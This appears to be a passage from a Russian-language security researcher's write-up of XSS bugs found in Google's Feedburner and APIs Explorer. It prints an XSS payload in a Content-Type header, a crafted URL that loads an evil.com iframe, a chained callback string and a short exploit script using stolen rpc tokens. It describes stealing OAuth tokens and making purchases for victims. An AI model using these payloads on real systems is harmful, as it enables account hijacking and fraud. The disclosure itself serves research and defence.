Уязвимость была в сервисе под названием Feedburner. Сначала я создал фид и попробовал в него внедрить код. Но на странице не появлялись внедренные данные — только безобидные ссылки. После нескольких безуспешных попыток я обнаружил множество сообщений на странице PodMedic. PodMedic просматривает каждую ссылку в фиде. Если была обнаружена проблема при создании вложения, PodMedic сообщает причину. В сообщениях говорилось, что ссылки некорректны: сервер отдает неправильный Content Type.
Хм. Хорошо. Бьюсь об заклад, что Content Type на этой странице не фильтруется. Простой скрипт для сервера:
<?php header('Content-Type: text/<img src=z onerror=alert(document.domain)>; charset=UTF-8'); ?>
История 2. О маленьком Callback, который смог
Уязвимость в Feedburner не доставила — в ней не было ничего примечательного. Поэтому я сразу же продолжил поиски. Мое внимание привлек сервис APIs Explorer на developers.google.com. Это инструмент, который помогает интерактивно исследовать разные интерфейсы программирования Google. С его помощью можно просматривать API и их версии, доступные методы для каждого API, поддерживаемые параметры с сопроводительной документацией и многое другое. В действительности меня заинтересовала система кроссдоменного взаимодействия, основанная на postMessage. Ссылка на исследуемый Google API задается следующим образом:
https://developers.google.com/apis-explorer/?base=https://webapis-discovery.appspot.com/_ah/api#p/
Параметр Base фильтруется некоторыми регулярными выражениями (на самом деле, плохо фильтруется), которые легко обойти, используя символ %23:
https://developers.google.com/apis-explorer/?base=https://evil.com%23webapis-discovery.appspot.com/_ah/api#p/admin/reports_v1/
В результате создается iframe с параметром src=evil.com, ждем сообщения от него. Каждое сообщение должно содержать два токена. Первый токен содержится в window.name данного iframe, второй передается в location.hash. Я просмотрел, какие сообщения передаются от webapis-discovery.appspot.com/_ah/api, и написал страницу для передачи тех же сообщений с действующими токенами. Страница отрабатывала отлично, и я попробовал передать какие-нибудь HTML-данные для внедрения. Безуспешно. Я мог бы изменить текст, расположение изображений, но этого недостаточно для XSS. Также была возможность изменить ссылку на документацию. Мне удалось изменить ее наjavascript:alert(document.domain):
Но и этого мне было недостаточно. Мне не понравилось, что для эксплуатации необходимо действие от пользователя. Пользователи никогда не делают то, что я хочу, — в данном случае не нажмут на ссылку 🙂 Поэтому я использовал страницу на developers.google.com с функцией Callback (сейчас почти все разработчики считают ее безопасной). Я добавил перенаправление на эту страницу с Callback вроде parent.links[0].click в мой эксплойт, после того как создалась ссылка на документацию с помощью postMessage. (Символы [] фильтровались. На самом деле, Callback был такой:
document.body.lastElementChild.previousSibling.lastElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.nextSibling.)
Пробуем:
Ура! Работает отлично и без взаимодействия с пользователем. Итак, эксплойт выглядел примерно следующим образом:
token_1 = location.hash.split('rpctoken=')[1];
token_2 = window.name;
send_payload(data,token_1,token_2);
window.setTimeout('document.location=callback_url;',3000); // Пауза из-за медленного интернет-соединения…
И конечно же, я сделал клевый скриншот:
Мне понравился этот метод эксплуатации. Я попробовал применить его в других сервисах, и мне удалось украсть токен OAuth пользователя, купить любое приложение в Google Play от его имени, используя пользовательские платежные данные, при этом купленное приложение автоматически устанавливалось на устройство пользователя.
Ребятам из Google Security Team эта техника тоже понравилась, и они описали ее на OWASP AppSec Eu, назвав ее Reverse Clickjacking.